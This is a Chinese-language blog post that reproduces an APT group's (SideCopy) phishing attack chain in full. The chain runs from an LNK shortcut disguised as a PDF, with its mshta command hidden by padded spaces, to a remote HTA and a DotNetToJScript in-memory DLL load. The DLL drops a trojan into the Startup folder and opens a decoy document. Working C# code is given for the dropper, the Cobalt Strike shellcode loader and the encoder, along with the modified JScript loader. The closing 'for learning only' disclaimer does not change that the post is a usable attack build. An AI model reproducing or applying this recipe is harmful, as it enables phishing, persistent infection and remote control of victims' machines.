此篇文章发布距今已超过2天,您需要注意文章的内容或图片是否可用!
Sidecopy组织的主要攻击目标是印度国防军和武装部人员进行,他们对印度政府和军事人员进行情报收集行动,使用鱼叉钓鱼技术在印度的国防组织和其他政府组织中引诱受害者,或通过感染USB设备来攻击印度和阿富汗的政府和军事组织。根据奇安信威胁情报中心的披露:https://mp.weixin.qq.com/s/Lb_NYxhi9iJgmvI2wjY9qg,威胁情报中心近期捕获了Sidecopy以印度为目标的攻击样本。在此攻击活动中,攻击者主要以沙特阿拉伯代表团访印为诱饵,将下载器伪装为快捷方式文件并通过钓鱼邮件发送给受害者。当受害者解压并执行诱饵文件之后,程序将会从远程服务器下载数据文件到本地并解密执行,最终加载远控软件AckRAT。攻击样本大致行为流程如下图。本文主要对该样本进行一个复现(不包含C2通信设计,因为我菜╥﹏╥)。0x02 复现思路
根据报告中的样本分析结果,投递的样本是一个LNK快捷方式,指向mshta远程加载一个hta脚本,脚本内容是JS代码,实现的功能主要是.NET内存加载一个DLL,调用DLL中的函数并传参经过加密的诱饵文档和木马程序的文件数据流,实现temp目录下解密、释放并打开诱饵PDF文档,以及自启动目录下解密、释放并启动木马程序。1、准备一个诱饵PDF文档,进行gzip压缩和base64编码,获取到加密后的诱饵文档数据流。2、准备一个木马程序,进行gzip压缩和base64编码,获取到加密后的EXE文件数据流。3、准备一个.NET DLL文件,在其中实现两个函数,一个是解密传入的诱饵文档数据流并释放到某个低权限目录中,然后打开;另一个是解密木马程序并释放到自启动目录中,然后执行。4、准备一个JS脚本并包装成HTA脚本,在脚本中实现内存加载上面的DLL文件,并调用DLL中的两个函数并传参两个文件的数据流,实现DLL中的能力。6、制作伪装成PDF文档的钓鱼快捷方式,指向mshta加载远程HTA脚本0x03 实现过程
随便写一个pdf诱饵文档document.pdf,然后将其转换成gzip压缩和base64加密后的数据流,转换代码放在文末。使用CobaltStrike生成64位的shellcode,建一个64位的C#的Windows应用程序项目,写一个EXE Loader:Update.exe把shellcode跑起来,然后将EXE转换成gzip压缩和base64加密后的数据流,Loader代码放在文末。由于DLL中的函数是在JS脚本中进行调用,所以DLL只需要进行函数实现即可。由于后面需要用到DotNetToJScript工具将DLL通过JS脚本加载到内存,该工具的使用需要接收一个DLL中的类进行实例化,所以我们需要将函数的实现包装到一个类里面(这里的类名是Program),作为类的成员函数。此外还需要在Program类前添加一句 [ComVisible(true)] ,使该类对外部COM组件可用。3、使用DotNetToJScript工具将DLL转换成JS脚本DotNetToJScript工具:https://github.com/tyranid/DotNetToJScript通过分析sidecopy的原始样本发现,该组织使用了开源的攻击组件来生成样本,JS代码是用DotNetToJScript生成的,并做了修改。该工具主要是接收一个.NET DLL和一个DLL中的类名,生成一个JS脚本(也可以是其他脚本语言),脚本实现将提供的DLL加载到内存中,然后通过实例化指定的类,从而自动执行指定类的构造函数。常见的用法是在DLL中要实例化的类的构造函数中写入需要执行的逻辑,这样生成的JS脚本跑起来就可以直接执行DLL中指定类的构造函数中的逻辑。(在实例化一个类的对象时,会自动执行该类的构造函数)将项目下载下来编译,然后使用,传入上面的DLL文件、要用到的成员函数所在的类名、脚本语言、输出脚本文件、.NET版本,然后得到Update.js。DotNetToJScript.exetestpro.dll -c Program -l JScript -o Update.js -v v4但是本次要制作的样本,要用到的成员函数需要从JS脚本中传参,所以需要修改上面生成的JS脚本,不能直接调用构造函数。在DLL加载到内存中的逻辑之后,添加对DLL中Program类的成员函数的调用,并在JS中给函数传参文件数据流。就是下面框起来的部分。JS脚本做好之后,cscript直接调用测试一下:这里为了测试方便,释放的exe文件运行会有控制台窗口,实际制作时可以将Update.exe的C#项目设置为Windows应用程序,从而将控制台窗口隐藏。由于是通过mshta.exe远程加载hta脚本,所以需要把上面制作的JS脚本中,首尾加入<scriptlanguage="javascript"></script>标签对,生成Update.hta:使用lnk2pwn工具制作快捷方式,如下所示,将LNK的指向命令设置为mshta远程加载托管在WEB服务器上的hta文件,并给参数加很多空格,这样就无法直接在快捷方式的属性里面看到远程地址了。将LNK的名称设置为document.pdf,与诱饵文档一致,并赋予pdf的图标。像下面这样设置,会使生成的LNK的图标与制作LNK的机器上所关联的该后缀对应的程序图标一致。生成LNK后,属性页面如下,由于参数过长,目标向后拉也看不到远程地址。看一下最终测试效果,可以将pdf快捷方式打包投递,收到压缩包后解压。点击快捷方式,mshta.exe会远程加载Update.hta,然后在自启动目录下释放和启动Update.exe上线CS,并在public目录下释放document.pdf并打开,迷惑受害者。0x04 遇到的问题
由于mshta.exe有32位和64位两个版本,所以DLL项目的位数和shellcode的位数一定得跟要使用的mshta位数一致,否则hta脚本跑不起来。本文使用的均为64位。为了系统的兼容性,.NET项目最好选择比较低的版本,例如.NET 2.0。如果项目选择了比较高的版本,例如本文中选择了.NET 4.8,在使用DotNetToJScript工具进行dll到js的转换时,一定要使用参数-v指定版本为4,默认的为2,不然js脚本无法正常运行(哭了,在这里卡了好久)。由于快捷方式指向的是mshta.exe,位于system32目录下,如果在当前目录下释放诱饵文档,权限是不够的,会导致脚本无法正常执行,所以诱饵文档一定要释放到有普通权限可以写入的目录下,例如public或者temp目录。4、文档数据流在js脚本中引用而不是dll中+hta脚本启动堆栈溢出问题在看到分析文章时,我还疑惑为什么诱饵文档和木马程序的文件数据流要放在js脚本里进行间接引用,而不是直接包在dll里面引用,这样不是更方便。但是在实际测试中发现,如果将庞大的文件数据流包在dll中,最后制作成的hta脚本在启动时会报堆栈溢出的错误,导致无法执行(不得不感叹APT大佬的设计都是有依据的...)。0x05 部分实现代码(C# .NET 4.8)
using System.Diagnostics;using System.Runtime.InteropServices;using System.IO.Compression;[ComVisible(true)] //使该类对外部COM组件可用,即可以允许js脚本调用该类publicvoid writeEXEfile(string base64String) //exe数据流由js脚本传入{string StartupFolder = @"%AppData%MicrosoftWindowsStart MenuProgramsStartup";string ExeName = "Update.exe";byte[] base64Data = Convert.FromBase64String(base64String);using (MemoryStream memoryStream = new MemoryStream(base64Data)){using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)){using (MemoryStream resultStream = new MemoryStream()){gzipStream.CopyTo(resultStream);gzipData = resultStream.ToArray();string startupPath = Environment.ExpandEnvironmentVariables(StartupFolder);string exePath = Path.Combine(startupPath, ExeName);File.WriteAllBytes(exePath, gzipData);System.Diagnostics.Process.Start(exePath);publicvoid writePDFfile(string base64String) //pdf数据流由js脚本传入{byte[] compressedBytes = Convert.FromBase64String(base64String);using (var compressedStream = new MemoryStream(compressedBytes)){using (var gzipStream = new GZipStream(compressedStream, CompressionMode.Decompress)){string decompressedFilePath = "C:\Users\Public\document.pdf";using (var outputStream = new FileStream(decompressedFilePath, FileMode.Create)){gzipStream.CopyTo(outputStream);Process.Start("C:\Users\Public\document.pdf");using System.Runtime.InteropServices;[DllImport("kernel32.dll")]publicstaticextern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]publicstaticextern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("kernel32.dll")]publicstaticexternuint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);publicstaticvoid RunCS(){byte[] CSPayload = { 0xfc, 0x48, 0x83 ......}; //shellcode数据IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(CSPayload.Length, 0x1000), 0x3000, 0x40);Marshal.Copy(CSPayload, 0, returnAddr, CSPayload.Length);IntPtr hThread = CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);WaitForSingleObject(hThread, 0xFFFFFFFF);publicstaticvoid Main(string[] args)staticpublicvoid encode(){string filePath = @"C:tempxxx";byte[] fileBytes = File.ReadAllBytes(filePath);using (MemoryStream compressedStream = new MemoryStream()){using (GZipStream gzipStream = new GZipStream(compressedStream, CompressionMode.Compress)){gzipStream.Write(fileBytes, 0, fileBytes.Length);compressedBytes = compressedStream.ToArray();string base64String = Convert.ToBase64String(compressedBytes);Console.WriteLine(base64String);<script language="javascript">new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';function base64ToStream(b) {var enc = new ActiveXObject("System.Text.ASCIIEncoding");var length = enc.GetByteCount_2(b);var ba = enc.GetBytes_4(b);var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");ba = transform.TransformFinalBlock(ba, 0, length);var ms = new ActiveXObject("System.IO.MemoryStream");ms.Write(ba, 0, (length / 4) * 3);var serialized_obj = "AAEAAAD/////AQAAAA....工具自动处理过的dll数据流";var entry_class = 'Program';var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);var PDF_file_data = "H4sIAAAAAAAA....";var EXE_file_data = "H4sIAAAAAAAA....";o.writePDFfile(PDF_file_data);o.writeEXEfile(EXE_file_data);注:本文内容仅用于交流学习,不可用于网络攻击等非法行为,否则造成的后果均与本文作者无关,维护网络安全人人有责~
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
ZhouSa.com
还没有评论,来说两句吧...